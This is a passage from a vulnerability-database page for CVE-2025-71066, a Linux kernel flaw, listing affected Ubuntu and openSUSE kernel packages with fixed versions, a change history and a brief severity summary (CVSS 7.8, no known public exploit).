20.04.15.15.0-1083.89~20.04.15.15.0-1084.90~20.04.15.15.0-1085.91~20.04.15.15.0-1086.92~20.04.1	5.15.0-1098.104~20.04.1
`linux-lowlatency-hwe-5.15` Ubuntu:Pro:20.04:LTS	before 5.15.0-173.183~20.04.1, plus listed versions 5.15.0-33.34~20.04.15.15.0-42.45~20.04.15.15.0-43.46~20.04.15.15.0-46.49~20.04.15.15.0-48.54~20.04.1 Show 45 moreShow less 5.15.0-50.56~20.04.15.15.0-52.58~20.04.15.15.0-53.59~20.04.15.15.0-56.62~20.04.15.15.0-58.64~20.04.15.15.0-60.66~20.04.15.15.0-67.74~20.04.15.15.0-69.76~20.04.15.15.0-70.77~20.04.15.15.0-71.78~20.04.15.15.0-72.79~20.04.15.15.0-73.80~20.04.15.15.0-75.82~20.04.15.15.0-76.83~20.04.15.15.0-78.85~20.04.15.15.0-79.88~20.04.15.15.0-82.91~20.04.15.15.0-83.92~20.04.15.15.0-84.93~20.04.15.15.0-86.95~20.04.15.15.0-87.96~20.04.15.15.0-88.98~20.04.15.15.0-89.99~20.04.15.15.0-91.101~20.04.15.15.0-92.102~20.04.15.15.0-94.104~20.04.15.15.0-97.107~20.04.15.15.0-100.110~20.04.15.15.0-101.111~20.04.15.15.0-102.112~20.04.15.15.0-105.115~20.04.15.15.0-106.116~20.04.15.15.0-107.117~20.04.15.15.0-110.120~20.04.15.15.0-113.123~20.04.15.15.0-116.126~20.04.15.15.0-117.127~20.04.15.15.0-118.128~20.04.15.15.0-119.129~20.04.15.15.0-121.131~20.04.15.15.0-122.132~20.04.15.15.0-124.134~20.04.15.15.0-125.135~20.04.15.15.0-126.136~20.04.15.15.0-127.137~20.04.1	5.15.0-173.183~20.04.1
`linux-nvidia-tegra-5.15` Ubuntu:Pro:20.04:LTS	before 5.15.0-1055.55~20.04.1, plus listed versions 5.15.0-1009.9~20.04.15.15.0-1010.10~20.04.15.15.0-1012.12~20.04.15.15.0-1014.14~20.04.15.15.0-1015.15~20.04.1 Show 25 moreShow less 5.15.0-1016.16~20.04.15.15.0-1017.17~20.04.15.15.0-1018.18~20.04.15.15.0-1019.19~20.04.15.15.0-1020.20~20.04.15.15.0-1022.22~20.04.15.15.0-1025.25~20.04.15.15.0-1027.27~20.04.15.15.0-1030.30~20.04.15.15.0-1032.32~20.04.15.15.0-1039.39~20.04.15.15.0-1040.40~20.04.15.15.0-1041.41~20.04.15.15.0-1042.42~20.04.15.15.0-1043.43~20.04.15.15.0-1044.44~20.04.15.15.0-1045.45~20.04.15.15.0-1046.46~20.04.15.15.0-1047.47~20.04.15.15.0-1048.48~20.04.15.15.0-1049.49~20.04.15.15.0-1050.50~20.04.15.15.0-1051.51~20.04.15.15.0-1052.52~20.04.25.15.0-1053.53~20.04.1	5.15.0-1055.55~20.04.1
`linux-oem-5.10` Ubuntu:20.04:LTS	All versions, plus listed versions 5.10.0-1008.95.10.0-1011.125.10.0-1013.145.10.0-1014.155.10.0-1016.17 Show 21 moreShow less 5.10.0-1017.185.10.0-1019.205.10.0-1021.225.10.0-1022.235.10.0-1023.245.10.0-1025.265.10.0-1026.275.10.0-1029.305.10.0-1032.335.10.0-1033.345.10.0-1034.355.10.0-1038.405.10.0-1044.465.10.0-1045.475.10.0-1049.515.10.0-1050.525.10.0-1051.535.10.0-1052.545.10.0-1053.555.10.0-1055.585.10.0-1057.61	None known
`linux-oem-5.13` Ubuntu:20.04:LTS	All versions, plus listed versions 5.13.0-1009.105.13.0-1010.115.13.0-1012.165.13.0-1014.185.13.0-1017.21 Show 7 moreShow less 5.13.0-1019.235.13.0-1020.245.13.0-1021.255.13.0-1022.265.13.0-1026.325.13.0-1028.355.13.0-1029.36	None known
`linux-oem-5.14` Ubuntu:20.04:LTS	All versions, plus listed versions 5.14.0-1004.45.14.0-1005.55.14.0-1007.75.14.0-1008.85.14.0-1010.10 Show 30 moreShow less 5.14.0-1011.115.14.0-1013.135.14.0-1018.195.14.0-1020.225.14.0-1022.245.14.0-1024.265.14.0-1027.305.14.0-1029.325.14.0-1031.345.14.0-1032.355.14.0-1033.365.14.0-1034.375.14.0-1036.405.14.0-1038.425.14.0-1042.475.14.0-1044.495.14.0-1045.515.14.0-1046.535.14.0-1047.545.14.0-1048.555.14.0-1049.565.14.0-1050.575.14.0-1051.585.14.0-1052.595.14.0-1054.615.14.0-1055.625.14.0-1056.635.14.0-1057.645.14.0-1058.665.14.0-1059.67	None known
`linux-oem-5.6` Ubuntu:20.04:LTS	All versions, plus listed versions 5.6.0-1007.75.6.0-1008.85.6.0-1010.105.6.0-1011.115.6.0-1013.13 Show 24 moreShow less 5.6.0-1017.175.6.0-1018.185.6.0-1020.205.6.0-1021.215.6.0-1023.235.6.0-1026.265.6.0-1027.275.6.0-1028.285.6.0-1031.325.6.0-1032.335.6.0-1033.355.6.0-1034.365.6.0-1035.375.6.0-1036.395.6.0-1039.435.6.0-1042.465.6.0-1047.515.6.0-1048.525.6.0-1050.545.6.0-1052.565.6.0-1053.575.6.0-1054.585.6.0-1055.595.6.0-1056.60	None known
`linux-oracle-5.11` Ubuntu:20.04:LTS	All versions, plus listed versions 5.11.0-1008.8~20.04.15.11.0-1013.14~20.04.15.11.0-1016.17~20.04.15.11.0-1017.18~20.04.15.11.0-1019.20~20.04.1 Show 7 moreShow less 5.11.0-1020.21~20.04.15.11.0-1021.22~20.04.15.11.0-1022.23~20.04.15.11.0-1023.24~20.04.15.11.0-1025.27~20.04.15.11.0-1027.30~20.04.15.11.0-1028.31~20.04.1	None known
`linux-oracle-5.13` Ubuntu:20.04:LTS	All versions, plus listed versions 5.13.0-1011.13~20.04.25.13.0-1015.19~20.04.15.13.0-1016.20~20.04.15.13.0-1018.22~20.04.15.13.0-1021.26~20.04.1 Show 7 moreShow less 5.13.0-1025.30~20.04.15.13.0-1027.32~20.04.15.13.0-1028.33~20.04.15.13.0-1030.35~20.04.15.13.0-1033.39~20.04.15.13.0-1034.40~20.04.15.13.0-1036.43~20.04.1	None known
`linux-oracle-5.15` Ubuntu:Pro:20.04:LTS	before 5.15.0-1100.106~20.04.1, plus listed versions 5.15.0-1007.9~20.04.15.15.0-1013.17~20.04.15.15.0-1016.20~20.04.15.15.0-1017.22~20.04.15.15.0-1018.23~20.04.1 Show 45 moreShow less 5.15.0-1019.24~20.04.15.15.0-1021.27~20.04.15.15.0-1022.28~20.04.15.15.0-1025.31~20.04.25.15.0-1027.33~20.04.15.15.0-1029.35~20.04.15.15.0-1030.36~20.04.15.15.0-1032.38~20.04.15.15.0-1033.39~20.04.15.15.0-1034.40~20.04.15.15.0-1035.41~20.04.15.15.0-1036.42~20.04.15.15.0-1037.43~20.04.15.15.0-1038.44~20.04.15.15.0-1039.45~20.04.15.15.0-1040.46~20.04.15.15.0-1041.47~20.04.15.15.0-1042.48~20.04.15.15.0-1044.50~20.04.15.15.0-1045.51~20.04.15.15.0-1046.52~20.04.15.15.0-1047.53~20.04.15.15.0-1048.54~20.04.15.15.0-1049.55~20.04.15.15.0-1050.56~20.04.15.15.0-1051.57~20.04.15.15.0-1052.58~20.04.15.15.0-1053.59~20.04.15.15.0-1054.60~20.04.15.15.0-1055.61~20.04.15.15.0-1058.64~20.04.15.15.0-1059.65~20.04.15.15.0-1061.67~20.04.15.15.0-1062.68~20.04.15.15.0-1063.69~20.04.15.15.0-1065.71~20.04.15.15.0-1066.72~20.04.15.15.0-1067.73~20.04.15.15.0-1068.74~20.04.15.15.0-1069.75~20.04.15.15.0-1070.76~20.04.15.15.0-1071.77~20.04.15.15.0-1072.78~20.04.15.15.0-1073.79~20.04.15.15.0-1074.80~20.04.1	5.15.0-1100.106~20.04.1
`linux-oracle-5.8` Ubuntu:20.04:LTS	All versions, plus listed versions 5.8.0-1031.32~20.04.25.8.0-1033.34~20.04.15.8.0-1034.35~20.04.25.8.0-1037.38~20.04.15.8.0-1038.39~20.04.1	None known
`linux-raspi2` Ubuntu:20.04:LTS	All versions, plus listed versions 5.3.0-1007.85.3.0-1014.165.3.0-1015.175.3.0-1017.195.4.0-1004.45.4.0-1006.6	None known
`linux-riscv` Ubuntu:20.04:LTS	All versions, plus listed versions 5.4.0-24.285.4.0-26.305.4.0-27.315.4.0-28.325.4.0-30.34 Show 7 moreShow less 5.4.0-31.355.4.0-33.375.4.0-34.385.4.0-36.415.4.0-37.425.4.0-39.445.4.0-40.45	None known
`linux-riscv-5.11` Ubuntu:20.04:LTS	All versions, plus listed versions 5.11.0-1015.16~20.04.15.11.0-1017.18~20.04.15.11.0-1018.19~20.04.25.11.0-1020.21~20.04.15.11.0-1021.22~20.04.1 Show 8 moreShow less 5.11.0-1022.23~20.04.15.11.0-1023.24~20.04.15.11.0-1024.25~20.04.15.11.0-1026.28~20.04.15.11.0-1028.31~20.04.15.11.0-1029.32~20.04.15.11.0-1030.345.11.0-1031.35	None known
`dtb-aarch64` openSUSE:Leap 16.0	before 6.12.0-160000.26.1	6.12.0-160000.26.1
`kernel-64kb` openSUSE:Leap 16.0	before 6.12.0-160000.26.1	6.12.0-160000.26.1
`kernel-azure` openSUSE:Leap 16.0	before 6.12.0-160000.26.1	6.12.0-160000.26.1
`kernel-default` openSUSE:Leap 16.0	before 6.12.0-160000.26.1	6.12.0-160000.26.1
`kernel-default-base` openSUSE:Leap 16.0	before 6.12.0-160000.26.1.160000.2.7	6.12.0-160000.26.1.160000.2.7
`kernel-docs` openSUSE:Leap 16.0	before 6.12.0-160000.26.1	6.12.0-160000.26.1
`kernel-kvmsmall` openSUSE:Leap 16.0	before 6.12.0-160000.26.1	6.12.0-160000.26.1
`kernel-obs-build` openSUSE:Leap 16.0	before 6.12.0-160000.26.1	6.12.0-160000.26.1
`kernel-obs-qa` openSUSE:Leap 16.0	before 6.12.0-160000.26.1	6.12.0-160000.26.1
`kernel-rt` openSUSE:Leap 16.0	before 6.12.0-160000.26.1	6.12.0-160000.26.1
`kernel-source` openSUSE:Leap 16.0	before 6.12.0-160000.26.1	6.12.0-160000.26.1
`kernel-syms` openSUSE:Leap 16.0	before 6.12.0-160000.26.1	6.12.0-160000.26.1
`kernel-zfcpdump` openSUSE:Leap 16.0	before 6.12.0-160000.26.1	6.12.0-160000.26.1

History

History
Recorded	Changed	Sources
Nov 3, 2026	facts	OSV
Nov 3, 2026	affected	OSV
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-71066 is a high vulnerability (CVSS 7.8) in Linux, published January 13, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.17%, the 6th percentile. Fixed in kernel 6.12.0-211.32.1.el10_2.

References

Show 194 moreShow less

This page doesn't list everything

Left out here: 657 package rows, 207 versions, 2,784 references and the rest of 7 source descriptions. The JSON record has them. Also not on the record: 49 aliases. ID and package lookups still check them. Left out on purpose, here and in the API, to keep responses small: 98 source records.